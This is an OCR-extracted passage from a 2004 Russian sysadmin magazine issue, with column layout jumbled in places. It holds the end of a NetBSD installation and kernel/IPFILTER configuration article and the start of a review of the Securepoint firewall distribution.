ftp://ftp.netbsd/
22
pub/NetBSD/iso. Далее выбираете версию системы, которая установлена у вас, и списываете файл sourcecd.iso.
Afterboot, или Что следует сделать сразу после первой загрузки Вполне логично сразу после загрузки сконфигурировать сеть. Делается это так: в /etc/rc.conf (предварительно изучив /etc/defaults/rc.conf) пишем: hostname=”you.host.name”
Задается имя вашего хоста: defaultrouter=”x.x.x.x”
Указывается IP шлюза: ifconfig_zz=”x.x.x.x/xx”
В качестве zz необходимо вписать имя вашего сетевого интерфейса. (Если точно не знаете, как он будет называться в NetBSD, его название можно посмотреть с помощью команды dmesg.) Вместо иксов соответственно вписать ваш IP-адрес. Маску подсети можно указать как в «дробном» виде (/xx), так и в виде netmask x.x.x.x. IP DNS-сервера(ов) прописывается в /etc/resolv.conf, синтаксис таков: netmask x.x.x.x
администрирование Должен заметить, что есть альтернативный вариант указания имени хоста и IP шлюза. Имя хоста можно поместить в файл /etc/myname. А IP шлюза – в /etc/mygate. Делайте, как вам удобно. В /etc/rc.conf не забудьте указать: sshd=YES
После этого мы можем заходить удаленно на нашу NetBSD через ssh. Следующим шагом является заведение нового пользователя. Не всегда же под аккаунтом root работать. # useradd –g groupname –d /path/to/homedir –m ↵ –p yourpassword –s /path/to/shell username
Рассмотрим, что и как мы создали. После опции –g указывается имя группы, к которой будет принадлежать новый пользователь. Должен заметить, что с помощью опции –g бесполезно пытаться добавить нового пользователя в группу wheel, надо напрямую его вписать в /etc/group. Тогда он действительно окажется в группе wheel. После опции –d указывается путь до домашнего каталога пользователя. После –p указывается новый пароль. После опции –s указывается путь к командному интерпретатору. Если эту опцию не задать, будет использоваться стандартный /bin/sh. Который, впрочем, позже можно будет сменить на что-нибудь другое при помощи команды chsh. Мною была замечена интересная вещь – какой бы password ни указывался, после опции –p useradd ругается:
Это не беда, если его поменять с помощью команды passwd <username>, то все встанет на свои места. Нелишним будет прочтение man useradd, там вы более подробно узнаете о значениях всех опций.
Установка нужного софта Установить новый софт можно: ! Собрав из исходников. ! Используя пакаджи. ! Используя систему портов. Если с первыми двумя методами все более-менее понятно, то третий способ я распишу немного подробней. Замечу только, что все пакаджи берутся с ftp://ftp.netbsd.org/ pub/NetBSD/packages. Далее выбираете, для какой версии системы и архитектуры вы ищете нужный вам пакадж. Для удобства можно использовать вот эту ссылку: ftp:// ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/README.html. Здесь весь софт разделен на тематические разделы (как в коллекции портов). Для меня вторая ссылка более удобная, благодаря наличию комментариев к каждому пакаджу с указанием всех зависимостей. Установить пакадж просто: #pkg_add packagename.tar.gz
Замечу, что заранее пакадж можно и не списывать, а
№6(19), июнь 2004
команде pkg_add указать точный url, где лежит пакадж, который вы желаете установить. Например: #pkg_add ftp://ftp.netbsd.org/pub/NetBSD/packages/1.6.1 ↵ /i386/shells/bash-2.05.2.tgz
Это командой мы установим пакадж с bash для 1.6.1 версии NetBSD, работающей на x86 машине. Важное замечание: по умолчанию исполняемые файлы пакаджей помещаются в /usr/pkg/bin. Система портов в NetBSD тоже называется пакаджами, что вносит некоторую неразбериху. Получается, что есть binary-packages, которые уже кто-то скомпилировал до нас, и которые только и остается что установить командой pkg_add, и есть «порты-пакаджи», которые списываются из сети в виде исходников, а компилируются уже на вашей машине. Чтобы не вносить дальнейшую путаницу, далее по тексту «порт-пакадж» буду называть просто порт. Для того чтобы начать работать с коллекцией портов, берем с уже знакомого нам диска файл pkgsrc.tgz. Самую последнюю версию этого файла можно списать на ftp://ftp.netbsd.org/pub/NetBSD/NetBSD-current/tar_files/ pkgsrc.tar.gz. Распакуем: # tar zxvpf pkgsrc.tar.gz –c /usr
После распаковки архива в /usr/pkgsrc/ появляются каталоги, разделенные по группам (audio/www/x11), в которых соответственно содержатся каталоги, названные по имени программ с файлами, необходимыми для установки по сети. Установка нужной программы происходит следующим образом (для примера установим редактор ne): #cd /usr/pkgsrc/editors/ne #make install
И начинается процесс установки, система списывает из сети исходник нужной программы, если для компиляции требуется какая-либо библиотека, то она также будет списана. После этого следует компиляция. Вот и все. Правда, просто? После того как система установила нужный порт, для удаления временных файлов выполняем команду. #make clean
Все исходники, которые были списаны системой из сети, хранятся в /usr/pkgsrc/distfiles.
Перекомпиляция ядра Я думаю, желание собрать ядро под себя и со своими предпочтениями вполне закономерное. Из стандартного хочется выкинуть все ненужное (а выкинуть, я думаю, много чего можно, GENERIC-ядро весит ~ 6.3 Мб!), и соответственно добавить нужное. Для перекомпиляции ядра нам понадобятся непосредственно исходники ядра. Я уже упомянул о sourcecd.iso, на котором находятся исходники всей системы. Вот сейчас из этого самого образа мы берем нужный нам syssrc.tgz. Распакуем:
23
администрирование # tar zxvpf syssrc.tgz –c /
! options REALEXTMEM= – размер расширенной памяти (в Кб).
Все, теперь в /usr/src/sys есть все, что нам нужно для дальнейшей работы. Надо заметить, что в / есть ссылка на этот каталог (/sys> /usr/src/sys/). Перейдем в /usr/src/sys/arch – тут выбираем нужную нам платформу/архитектуру. Для меня это i386, которая как-то затерялась среди всех остальных поддерживаемых платформ. Всего их 56 штук! После нахождения каталога с нужной нам архитектурой переходим в его подкаталог – conf, именно тут лежат файлы конфигурации ядра. Для i386 представлено с десяток различных готовых файлов конфигурации, созданных для разных задач. Ради интереса их стоит посмотреть. Файл конфигурации стандартного ядра находится в файле GENERIC. Очень жаль, что разработчики не сделали аналога файла LINT (такого, как в FreeBSD), в котором с подробными комментариями перечислены все возможные параметры, допустимые в файле конфигурации ядра. Ну да ладно, и так разберемся. # cp GENERIC newkernel
После этого с помощью своего любимого текстового редактора начинаем править под наши нужды файл конфигурации нового ядра. Разберем структуру и содержимое файла конфигурации ядра для x86 архитектуры более подробно. Комментарии в нем начинаются с символа #. ! include «arch/i386/conf/std.i386» – в std.i386 хранятся некоторые опции, которые необходимы для работы NetBSD на x86 платформе. ! options INCLUDE_CONFIG_FILE – вставить содержимое файла конфигурации ядра в бинарник нового ядра. ! ident «my new kernel» – указываем имя нашего будущего ядра. ! maxusers 32 – указываем примерное количество пользователей нашей системы. Но даже если вы намерены использовать ее в гордом одиночестве, рекомендую поставить значение «с запасом». ! CPU support – указываем, какой тип процессора установлен на компьютере. Например: options I686_CPU.
Standard system options Стандартные опции системы: ! options UCONSOLE – пользователи могут использовать TIOCCONS (нужно для xconsole). ! options INSECURE – отключить уровни безопасности ядра. ! options RTC_OFFSET=0 – установка времени по GMT. ! options NTP – запрещение цикла фазы/частоты NTP. ! options KTRACE – системные вызовы идут через ktrace. ! options SYSVMSG – очереди сообщений, как в SysV. ! options SYSVSEM – семафоры, как в SysV. ! options SYSVSHM – разделение памяти, как в SysV. ! options LKM – возможность загружать модули ядра.
Diagnostic/debugging support options Задаются опции поддержки диагностики и отладки.
Compatibility options Различные опции совместимости. Также тут мы указываем поддержку запуска уже скомпилированных для других ОС программ. Например: ! options COMPAT_LINUX – совместимость с приложениями, собранными для Linux. ! options COMPAT_FREEBSD – совместимость с приложениями от FreeBSD.
File systems Указываем, поддержку каких файловых систем мы хотим иметь. Замечу, что поддержку файловых систем можно подключать также в виде модуля ядра.
File system options Различные опции для файловых систем: ! options QUOTA – возможность установки квот на дисковое пространство. ! options SOFTDEP – поддержка «soft updates» для файловой системы FFS. Очень рекомендую включить, потому как скорость работы с данными на жестком диске значительно возрастет. ! options NFSSERVER – стоит включить, если машина будет использоваться как NFS-сервер.
CPU-related options
Networking options
Опции, связанные с процессором: ! options MATH_EMULATE – эмулирование математического сопроцессора. ! options VM86 – виртуальная 8086 эмуляция. ! options USER_LDT – стоит включить, если планируется использование эмулятора WINE. ! options PERFCTRS – поддержка мониторинга некоторых счетчиков.
Опции для поддержки сети: ! options GATEWAY – поддержка фовардинга пакетов. ! options INET – «базовый» набор (IP + ICMP + TCP + UDP). ! options INET6 – поддержка IPv6. ! options IPSEC – поддержка IP security. ! options MROUTING – IP multicast routing. ! options NS – поддержка XNS. ! options NSIP – XNS-туннель через IP. ! options ISO,TPIP – поддержка OSI. ! options EON – OSI-туннели через IP. ! options CCITT,LLC,HDLC – поддержка x.25 сетей. ! options NETATALK – поддержка протокола AppleTalk. ! options PPP_BSDCOMP – поддержка BSD-Compress сжатия для PPP.
Если NetBSD не полностью видит память, установленную в вашем компьютере, имеет смысл воспользоваться следующими опциями. ! options REALBASEMEM= – размер базовой памяти (в Кб).
24
администрирование ! options PPP_DEFLATE – поддержка Deflate-сжатия для
! mainboard audio chips – поддержка некоторых встро-
PPP. options PPP_FILTER – активный фильтр для PPP. Нужен bpf. options IPFILTER_LOG – поддержка ведения логов firewall. options IPFILTER_DEFAULT_BLOCK – запрещение прохождения всех пакетов по умолчанию.
енных звуковых карт. Для примера включим поддержку ESS AudioDrive.
! ! !
ess* at =pnpbios? index ?
! com port – поддержка com-порта. com* at pnpbios? index ?
Дальше в файле конфигурации ядра идут опции для включения вывода подробных сообщений от некоторых подсистем. Добавление этих опций может существенно увеличить размер вашего ядра. Для примера включим поддержку подробных сообщений для USB-устройств: options USBVERBOSE.
! parallel port – параллельный порт. lpt* at pnpbios? index ?
! Клавиатуры и мышки: pckbc*
wscons options Различные опции для консоли wscons. ! options WSEMUL_xxx – в качестве xxx вписываем, какой тип эмуляции терминала мы хотим видеть на экранах, которые автоматически создаются системой. По умолчанию VT100/VT220. ! options WS_KERNEL_FG=WSCOL_color – цвет сообщений на консоли. ! options WS_KERNEL_BG=WSCOL_color – цвет фона в консоли. По умолчанию используется черный фон и зеленые сообщения (как в «Матрице»). ! compatibility to other console drivers – совместимость с другими драйверами консоли. ! options WSDISPLAY_COMPAT_xxx – задаем совместимость, с какими драйверами консоли мы хотим иметь дело. ! options WSDISPLAY_DEFAULTSCREENS=x – количество экранов, которые система создает автоматически. Рекомендую поставить 1 или 2, почему именно будет рассказано в разделе русификация. ! options PCDISPLAY_SOFTCURSOR – использование курсора, который не мигает. ! options VGA_CONSOLE_SCREENTYPE=«\«80x24\»» – изменение стандартного разрешения в консоли.
Kernel root file system and dump configuration Указываем, где располагается корневая файловая система с ядром. config
netbsd root on ? type ?
Device configuration В этой части файла конфигурации ядра мы будем конфигурировать различные устройства. Еще раз напоминаю, что в целях экономии места будут описаны только основные разделы, без комментариев к каждому устройству. ! Продвинутая система управления питания.
at pnpbios? index ?
! Контроллер флопа: fdc* at pnpbios? index
! PCI bus support – поддержка шины PCI. ! Configure PCI using BIOS information – различные оп! ! ! ! ! ! ! ! ! ! ! ! ! ! !
ции, для того чтобы шина PCI использовала информацию из BIOS. PCI bridges – поддержка различных PCI-мостов. EISA bus support – поддержка шины EISA. ISA bus support – поддержка шины ISA. PCMCIA bus support – поддержка шины PCMCIA. MCA bus support – поддержка шины MCA. ISA PCMCIA controllers – включение различных ISA PCMCIA-контроллеров. PCI PCMCIA controllers – включение различных PCI PCMCIA-контроллеров. ISA Plug-and-Play bus support – поддержка ISA PnPшины. ISA Plug-and-Play PCMCIA controllers – ISA PnP PCMCIAконтроллеры. CardBus bridge support – поддержка CardBus-мостов. CardBus bus support – поддержка CardBus-шины. Coprocessor Support – поддержка математического сопроцессора (не отключите случайно). Console Devices – драйвера консоли. Keyboard layout configuration – конфигурация клавиатуры для нескольких языков. Русского среди них, к сожалению, нет. pccons-specific options – специальные pccons-опции. ! options XSERVER_DDB – PF12 – переведет вас в DDB, когда будет запущен X-сервер. ! options XSERVER – поддержка X-сервера. ! Контроллер клавиатуры. pckbc0
at isa?
apm0at mainbus0
! Клавиатура. Можно также задавать различные опции. Все подробно описано в man 4 apm.
№6(19), июнь 2004
pckbd*
at pckbc?
25
администрирование ! SCSI-«автовкладыватели» чего-нибудь:
! PS/2 мышка для wsmouse. pms* at pckbc?
ses* at scsibus? target ? lun ?
! Serial Devices – последовательные устройства. ! PCI serial interfaces – PCI-последовательные интер! ! ! ! ! ! ! !
фейсы. ISA Plug-and-Play serial interfaces – ISA PnP-последовательные интерфейсы. PCMCIA serial interfaces – PCMCIA-последовательные интерфейсы. CardBus serial interfaces – CardBus-последовательные интерфейсы. ISA serial interfaces – последовательные интерфейсы для ISA. MCA serial interfaces – последовательные интерфейсы для MCA. Parallel Printer Interfaces – параллельные интерфейсы для принтеров. PCI parallel printer interfaces – PCI-параллельный интерфейс для принтеров. ISA parallel printer interfaces – ISA-параллельный интерфейс для принтеров. ! Стандартный параллельный порт:
! SCSI-сканеры: ss* at scsibus? target ? lun ?
! Неизвестные SCSI-устройства: uk* at scsibus? target ? lun ?
! RAID controllers and devices – различные RAID-контроллеры и устройства.
! ISA Plug-and-Play IDE controllers – ISA PnP IDE-контроллеры.
! PCMCIA IDE controllers – PCMCIA IDE-контроллеры. ! ! !
Также есть поддержка некоторых ISA ST506, ESDI и IDE-контроллеров. IDE drives – IDE-устройства. ATAPI bus support – поддержка ATAPI-шины. ATAPI devices – различные ATAPI-устройства. ! ATAPI CDROM: cd* at atapibus? drive ? flags 0x0000
lpt0 at isa? port 0x378 irq 7
! Hardware monitors – различные системные мониторы.
! ! ! ! ! ! ! ! ! ! !
(Естественно, не те, на которых мы видим выводимую информацию, а те, которые занимаются мониторингом состояния чего бы то ни было). I2O devices – различные I2O-устройства. SCSI Controllers and Devices – различные SCSI-контроллеры и устройства. PCI SCSI controllers – PCI SCSI-контроллеры. EISA SCSI controllers – EISA SCSI-контроллеры. PCMCIA SCSI controllers – PCMCIA SCSI-контроллеры. ISA Plug-and-Play SCSI controllers – ISA PnP SCSI-контроллеры. ISA SCSI controllers – ISA SCSI-контроллеры. CardBus SCSI cards – SCSI CarBus-карты. MCA SCSI cards – SCSI MCA-карты. SCSI bus support – поддержка шины SCSI. SCSI devices – различные SCSI-устройства. ! SCSI-диски: sd* at scsibus? target ? lun ?
! ATAPI HDD: sd* at atapibus? drive ? flags 0x0000
! TAPI-ленточные устройства: st* at atapibus? drive ? flags 0x0000
! Неизвестные устройства для шины ATAPI: uk* at atapibus? drive ? flags 0x0000
! Miscellaneous mass storage devices – различные устройства для хранения информации.
! ISA floppy – поддержка флопов.
! Стандартный контроллер для флопа: fdc0 at isa? port 0x3f0 irq 6 drq 2
! ISA CD-ROM devices – CD-ROM, подключенные к ISAустройствам.
! ISA tape devices – различные ленточные устройства, ! SCSI-ленточные устройства: st* at scsibus? target ? lun ?
! SCSI CDROM: cd* at scsibus? target ? lun ?
подключенные к ISA-шине.
! MCA ESDI devices – различные MCA ESDI-устройства.
! Network Interfaces – различные сетевые карты. ! PCI network interfaces – PCI-сетевые карты. ! EISA network interfaces – EISA-сетевые карты. ! ISA Plug-and-Play network interfaces – ISA PnP-сетевые карты.
! SCSI-«автосменщики» чего-нибудь: ch* at scsibus? target ? lun ?
26
! PCMCIA network interfaces – PCMCIA-сетевые карты. ! ISA network interfaces – ISA-сетевые карты. ! CardBus network cards – CarBus-сетевые карты.
администрирование ! MCA network cards – MCA-сетевые карты. ! MII/PHY support – поддержка различных MII/PHY-устройств.
! USB Controller and Devices – различные USB-контроллеры и устройства.
! PCI USB controllers – PCI USB-контроллеры. ! USB bus support – поддержка шины USB. ! USB Hubs – USB-хабы. ! USB HID device – USB HID-устройства. ! USB Mice – USB-мышки. ! USB Keyboards – USB-клавиатуры. ! USB Printer – USB-принтеры. ! USB Modem – USB-модемы. ! USB Mass Storage – устройства хранения информации на USB.
! USB audio – USB-звуковые карты. ! USB MIDI – USB MIDI-устройства. ! USB IrDA – USB IrDA-устройства. ! USB Ethernet adapters – USB-сетевые карты. ! Serial adapters – различные последовательные USBадаптеры.
! USB scanners – USB-сканеры и сканеры, которые используют эмуляцию SCSI.
! USB Generic driver – USB-драйвер. ! Audio Devices – различные звуковые карты. ! PCI audio devices – PCI-звуковые карты. ! ISA Plug-and-Play audio devices – ISA PnP-звуковые
!
!
! pseudo-device bpfilter – берклинский пакетный фильтр. ! pseudo-device ipfilter – firewall + NAT. ! pseudo-device loop – интерфейс обратной петли (127.0.0.1). ! pseudo-device ppp – протокол Point-to-Point. ! pseudo-device pppoe – поддержка PPP через Ethernet. ! pseudo-device sl – Serial line IP. ! pseudo-device irframetty – IrDA frame line discipline. ! pseudo-device tun – сетевые туннели через tty. ! pseudo-device gre – L3 через IP-туннель. ! pseudo-device gif – IPv[46] через IPv[46]-туннель. ! pseudo-device faith – трансляция IPv[46] tcp релея. ! pseudo-device stf – инкапсуляции IPv6 через IPv4 ! pseudo-device vlan – поддержка VLAN. ! pseudo-devic bridge – сетевой мост. miscellaneous pseudo-devices – другие псевдоустройства. ! pseudo-device pty – псевдотерминалы. ! pseudo-device rnd – поддержка /dev/random. ! pseudo-device clockctl – контроль часов. wscons pseudo-devices – псевдоустройства wcons. ! pseudo-device wsmux – мультиплексор клавиатуры и мышки. ! pseudo-device wsfont – /dev/wsfont.
После того как закомментировано все ненужное и добавлено нужное, приступаем к сборке нового ядра.
карты.
! ISA audio devices – ISA-звуковые карты. ! PCMCIA audio devices – PCMCIA-звуковые карты. ! Audio support – поддержка звука для вышеперечислен! !
ных карт. MPU 401 UARTs – различные MPU 410 карты. MIDI support – поддержка MIDI. ! PC-спикер: spkr0
at pcppi?
! FM-Radio devices – различные FM-тюнеры. ! ISA radio devices – ISA FM-тюнеры. ! PCI radio devices – PCI FM-тюнеры. ! TV cards – TV-тюнеры. ! Mice – различные мышки. ! Joysticks – различные джойстики. ! ISA Plug-and-Play joysticks – ISA PnP-джойстики. ! PCI joysticks – PCI-джойстики. ! ISA joysticks – ISA-джойстики. ! Pseudo-Devices – различные псевдоустройства. ! disk/mass storage pseudo-devices – псевдоустройства
!
для хранения информации. ! pseudo-device ccd – concatenated/striped disk devices. ! pseudo-device raid – RAIDframe disk drive. ! options RAID_AUTOCONFIG – автоконфигурирование RAID-компонентов. ! pseudo-device md – поддержка дисков в память – ramdrive. ! pseudo-device vnd – похожий на диски интерфейс для файлов. network pseudo-devices – сетевые псевдоустройства.
№6(19), июнь 2004
#config newkernel
Если никаких ошибок не выявлено, то: #cd ../compile/newkernel/ #make depend && make
Начинается непосредственно компиляция. Процесс компиляции проходит достаточно быстро, у меня на Cel466/ 64Мб RAM она заняла порядка 15 минут. На PIII-550/320Мб RAM – меньше 5 минут. Если компиляция прошла успешно, устанавливаем новое ядро. #cp /netbsd /netbsd.old
Делаем резервную копию старого ядра, которое располагается в корневом разделе. #cp netbsd /
Копируем новое ядро (которое находится в текущем каталоге) в корень. Перезагружаемся: #reboot
Если новое ядро не загружается по каким-либо причинам, нам нужно загрузить старое, работоспособное ядро, недаром мы его сохранили. В самом начале загрузки NetBSD, когда идет обратный отсчет времени, нажимаем любую клавишу, отличную от enter, и попадаем в bootменю. Далее вводим:
27
администрирование netbsd.old –s
! < или lt – истина, если номер порта меньше, чем передаваемое значение.
Вот и все, система загружается со старым ядром. Смотрите внимательно файл конфигурации ядра и думайте, что вы не так сделали. Да, вернемся к размерам ядра, после того как я первый раз пересобрал ядро, его размер уменьшился до ~1.5Мб. Потом удалось сделать рабочее ядро размером ~1.2Мб, что почти в 5.5 раз меньше, чем стандартное ядро. В качестве дополнения о перекомпиляции ядра я вкратце хотел бы рассказать о маленькой утилите, недавно обнаруженной мной в коллекции портов – adjustkernel. Программа на основе имеющегося оборудования сама создаст файл конфигурации ядра. Рассмотрим, как она работает. #dmesg > dmesg.file
Поместим вывод команды dmesg в файл dmesg.file. На основе этих данных и будет строиться наше новое ядро. Так же в текущий каталог положите ваш файл конфигурации ядра, ну или GENERIC.
! != или ne – истина, если номер порта не равен передаваемому значению.
! => или ge – истина, если номер порта больше или равен переданному значению.
! <= или le – истина, если номер порта меньше или равен переданному значению. Возможно сравнение диапазонов:
! N <> N1 – истина, если порт меньше, чем N, или больше, чем N1.
! N >< N1 – истина, если порт больше, чем N, и меньше, чем N1. Также в этом firewall есть поддержка фильтрации по TCP-флагам, возможность ответа на заблокированный пакет, keep-state-фильтрация. В общем поддерживается все, что нужно для гибкой настройки правил, и даже немного больше. Для примера напишем простенький набор правил firewall. Разрешаем весь icmp-трафик:
#adjustkernel –mesg dmesg.file –outfile newkernel –file GENERIC
Я решил посмотреть, какой файл конфигурации программа создаст на основе GENERIC-файла. В принципе файл конфигурации получился вполне работоспособный. Но в любом случае ему требуется доводка руками. Ведь программа не знает, нужна ли нам на этой машине поддержка IPv6 или файловой системы CODA. А в остальном только положительные отзывы.
Настройка firewall В качестве firewall в NetBSD используется IPFILTER. Для начала добавляем в /etc/rc.conf строку: IPFIREWALL=YES. Удостоверимся, что ядро собрано с опцией IPFILTER_ DEFAULT_BLOCK, как видно, эта опция служит для того, чтобы по умолчанию все пакеты отвергались. Мне кажется, такой подход при конфигурировании firewall единственно правильный – сначала все закроем, а потом откроем только то, что нам нужно. Правила firewall в файле /etc/ ipf.conf. Давайте разберем синтаксис написания правил для IPFILTER. Для того чтобы обозначить, пропускать пакет или нет, используются ключевые слова – pass и block. Для обозначения направления, в котором проходит пакет, используются ключевые слова in и out. Интерфейс указывается ключевым словом on, за которым следует название интерфейса. Маска сети задается как в «дробном», так и в виде xxx.xxx.xxx.xxx. Имеется поддержка фильтрации по имени протокола. Узнать полный список протоколов можно из файла /etc/protocols. Поддерживается блокировка фрагментированных IPпакетов. Для TCP/UDP работает фильтрация по номеру порта. Можно использовать некоторые операции над номерами портов. ! = или eq – истина, если номер порта равен передаваемому значению. ! > или gt – истина, если номер порта больше, чем передаваемое значение.
28
pass in on <xx> proto icmp all pass out on <xx> proto icmp all
Открываем порты для работы с SSH: pass in proto tcp from any to <IP> port = 22 pass out proto tcp from <IP> to any port = 22
Открываем порты для работы с DNS: pass in proto udp from any to <IP> port = 53 pass out proto udp from <IP> to any port = 53
Вместо xx указываем сетевой интерфейс, вместо IP указываем наш IP-адрес. Я умышленно привел такой простой пример, так как написание правил для firewall – дело достаточно личное, каждый их составляет так, как ему удобно. Но, я думаю, вышеприведенного примера вполне достаточно, для того чтобы на его основе построить более сложный набор правил. Для получения более подробной информации о IPFILTER очень рекомендую почитать IPFILTER HOW-TO (http://www.unixcircle.com/ipf).
Заключение Подошла к концу первая часть статьи. Для начала изучения, по-моему, достаточно. Если этой статьей я привлек ваше внимание к NetBSD, значит моя цель несомненно выполнена. Во второй части статьи мы рассмотрим профилирование ядра NetBSD, протестируем бинарную совместимость с FreeBSD и Linux, научимся поддерживать систему в актуальном состоянии. Также в мои планы входит рассказать о криптографической файловой системе NetBSD, не будет обойден вниманием и вариант использования NetBSD как desktop-системы. Но обо всем этом в следующий раз. Я буду рад всем уточнениям, дополнениям и просто отзывам об этой статье. Пишите!
безопасность
ТОЧКА ЗАЩИТЫ
СЕРГЕЙ ЯРЕМЧУК Так уж получилось, что моим первым Linux-дистрибутивом был не один из типично пользовательских вроде Red Hat, с чего обычно начинают знакомство, а маленький однодискетный FreeSCO (http://www.freesco.org), о котором я писал в сентябрьском номере журнала за 2003 г. Небольшая заметка на каком-то сайте, в которой было рассказано о том, как с его помощью можно быстро и без особых трудностей настроить совмесный доступ в Интернет группе компьютеров, не только помогла решить проблему человеку, доселе этим никогда не занимавшемуся. В итоге это знакомство полностью изменило мою жизнь. Вместо Windows пришел Linux, вместо assembler и Pascal – Perl, PHP. Стал интересоваться сетями. Может быть, поэтому моим любимым занятием является поиск и тестирование таких специальных дистрибутивов. Сегодня предлагаю в общих чертах познакомиться с довольно мощным, но в то же время очень простым и понятным в настройке дистрибутивом. Речь пойдет о немецком дистрибутиве Securepoint от Securepoint Security Solutions, английское зеркало сайта: http://www.securepoint.cc. Он представляет собой полностью готовый набор программных средств, предназначенных для создания межсетевого экрана корпоративного (enterprisewide) уровня. Но мало того, что Securepoint, как и положено, предохраняет внутреннюю сеть от атак извне, но с его помощью можно легко отделить части внутренней сети друг от друга и определить индивидуальные правила защиты для каждого сегмента, создать и управлять туннелями VPN для защиты трафика удаленных сетей и пользователей, ведение логов и предупреждений. При этом перена-
30
страивать существующую сеть совсем необязательно, Securepoint спокойно уживается на отдельном компьютере и без проблем вписывается в большинство топологий со своими firewall и VPN. Если поискать на сайте, то можно наткнуться и на прайс с довольно солидными суммами, но беспокоиться не стоит, деньги берут за техническую поддержку, сам же дистрибутив доступен для свободного скачивания и распространяется как freeware, для доступа к странице закачки от вас потребуют ввести e-mail и название компании. Системные требования скромны, процессор класса Pentium II 300, 64 Мб ОЗУ, около 4 Гб жесткий диск (IDE или поддержаны некоторые SCSI). Базируется он, судя по всему, на Red Hat. Поддерживается одновременно от 2 до 16 сетевых интерфейсов. Перед установкой желательно все же свериться с whitepapers (http://europe-01.securepoint.de/whitepapers_ int3.1.pdf), иначе попытка может завершиться неудачей. И хотя сам процесс установки сложности вызвать не должен по причине простоты и понятности всех операций, но вкратце остановлюсь, чтобы было понятно, с чем имеем дело. Более полную картину даст 96-страничный manual, который вы найдете на сайте или в самом дистрибутиве.
Установка Скачиваем по ссылке ISO-образ дистрибутива размером 245 Мб (версия securepoint-3.1.3p3.iso). Можно не спешить сразу тянуть остальные приложения, документы и патчи, доступные на странице закачки, т.к. большая часть имеется уже в указаном образе и вы зря потеряете время. Каталоги CD-ROM имеют такую структуру:
безопасность ! basic – архивы с основной системой; дим ./install.sh, после чего следуем за инструкциями на ! isolinux – загрузочный образ; экране. После чего перезагружаем систему. ! intrusion_detection_system – сервер и клиент Nuzzler Последующее конфигурирование возможно проводить Intrusion Detection System;
двумя способами (не считая непосредственного редакти-
virus scanner, Trendmicro VirusWall, утилиты конфигурирования; tools – утилиты под Windows: diskwriter (для создания загрузочной дискеты), Nuzzler Intrusion Detection System Basic Edition, Securepoint Network Test Tool, в папке securepoint_client клиент для удаленной настройки Securepoint (в подкаталоге samples найдете заготовки) и SSH Sentinel VPN client; update – приложения для обновления Securepoint с версий 2.x и 3.x до 3.1.3.
системе, при помощи скрипта conf.sh, который лежит в /opt/securepoint3.0/bin (рис. 1). Но более удобно и наглядно особенно для новичков будет настройка при помощи клиента Securepoint Security Manager, работающего под управлением Windows 98, NT, XP и 2000. Ставим программу, как обычно нажав setup.exe, после чего в меню «Пуск» появятся еще два приложения: сам Securepoint Security Manager и Bitcount calculator, предназначенный для перерасчета маски сети в битовую маску и наоборот. Запускаем (рис. 2).
! opt – архивы с Securepoint Firewall & VPN Server, AntiVir рования конфигурационных файлов). Первый, находясь в !
!
СD-ROM является загрузочным, поэтому выставляем в BIOS необходимые параметры и загружаемся. Установка полностью проходит в графическом режиме во framebuffer. Предстоит пройти всего четыре шага. На первом спрашивается keymap, хотя имеется и ru, но, наверное, лучше выставить us во избежание проблем, и нажимаем Start. Далее предлагается выбрать язык, к сожалению, выбирать приходится только между английским и немецким. И лицензию Securepoint Office, Business, Рrofessional. В зависимости от выбраной лицензии на следующем шаге будет доступно разное количество сетевых интерфейсов для конфигурирования (от 2 до 16), а также доступность продвинутых опций вроде VPN. И попадаем в следующее окно конфигурации, где предлагается в нескольких вкладках настроить параметры системы. В «Default Configuration» выбираем пакеты – Firewall (Securepoint firewall & VPN), VirusWall (ftp/http(s)/smtp VirusScanner), Mailgate (E-mail VirusScanner) и Config (console configuration firewall), файловую систему (ext2/ ext3/ReiserFS) и Software RAID при наличии двух дисков. Во вкладке «Network Configuration» настраиваем сетевые интерфейсы (Ethernet, TokenRing, Adsl, ISDN), вводим IP-адрес, Bitcount (битовую маску сети, например, 255.255.255.0 – 24) и вручную выбираем драйвер сетевой карты из списка. На первом сетевом интерфейсе указываются параметры внешней сети, на втором внутренняя сеть и остальные DMZ. И в «Global Setting» вводим name (имя компьютера), Getaway admin IP (IP-адрес внутренней сети, с которой будет удаленно управляться компьютер) и пароль для доступа. В окне «Driver Help» можно получить помощь в выборе драйвера к своей сетевой карте. Надо отметить, что если вы неправильно укажете драйвер, то установка продолжена не будет. На этом все. После окончания процесса копирования компьютер перезагружаем.
Последующая настройка При необходимости обновить систему, монтируем CDROM с дистрибутивом. #mount /dev/hdd /mnt/cdrom
Заходим в каталог update cd /mnt/cdrom/update и вво-
№6(19), июнь 2004
Ðèñóíîê 1
Ðèñóíîê 2
Вводим пароль для доступа, выбираем из выпадающего списка нужный сервер, если список пустой, то вводим атрибуты серверов (имя, IP-адрес, порт по умолчанию – 11112), логин и пароль для первого доступа admin/ admin. Обратите внимание на возможность работы без подключения к серверу, что очень удобно и безопасно, для этого устанавливаем галочку напротив «offline mode». Появляется главное окно утилиты (рис. 3). Для облегчения настройки разработчиками подготовлено 6 конфигурационных файлов beginner1[-6].isf, которые можно найти в подкаталоге samples дистрибутива программы (в documents найдете документацию по дистрибутиву и whitepapers): ! Easy Internet configuration – beginner1.isf. ! Static NAT configuration with web server in DMZ1 – beginner2.isf. ! Proxy server configuration – beginner3.isf.
31
безопасность ! VPN PPTP server / roadwarrior configuration – beginner4.isf. ! VPN IPSec server / roadwarrior configuration – beginner5.isf. ! AntiVir virus scanner configuration – beginner6.isf. Выбираем близкий по назначению и открываем через File – Open пароль для доступа test. Теперь приводим к своим данным: изменяем IP-адреса на используемые, добавляем хосты, сети и свои правила. Все действо происходит в довольно понятных диалогах (рис. 4), и, зная необходимые параметры, настроить сеть можно без проблем. Так, в пункте Modify изменяем правила настройки firewall и в Network Topology просматриваем все известные компьютеры (рис. 5), выбрав Options, получаем возможность настроить сам сервер (рис. 6). В меню «Reports» доступно несколько пунктов, позволяющих автоматически проанализировать системные и squid лог-файлы, получить информацию о трафике и протестировать соединение. Программа будет работать в течение 30 дней, далее необходимо зарегистрироваться на http://register.securepoint.cc, как и другие утилиты под Windows-систему.
Кратко о настройке других приложений Все дополнительные программы, выбранные при установке системы в пункте «Default Configuration», находятся в каталоге /opt и требуют отдельного вмешательства для своего запуска. Так, 30-дневная демоверсия InterScan VirusWall System, кроме возможности по защите от вирусов и другого злонамеренного кода, просматривает SMTP-, HTTP- и FTP-трафик. И дополнительно включает, кроме всего прочего, и eManager, представляющий собой пла-
Ðèñóíîê 3
32
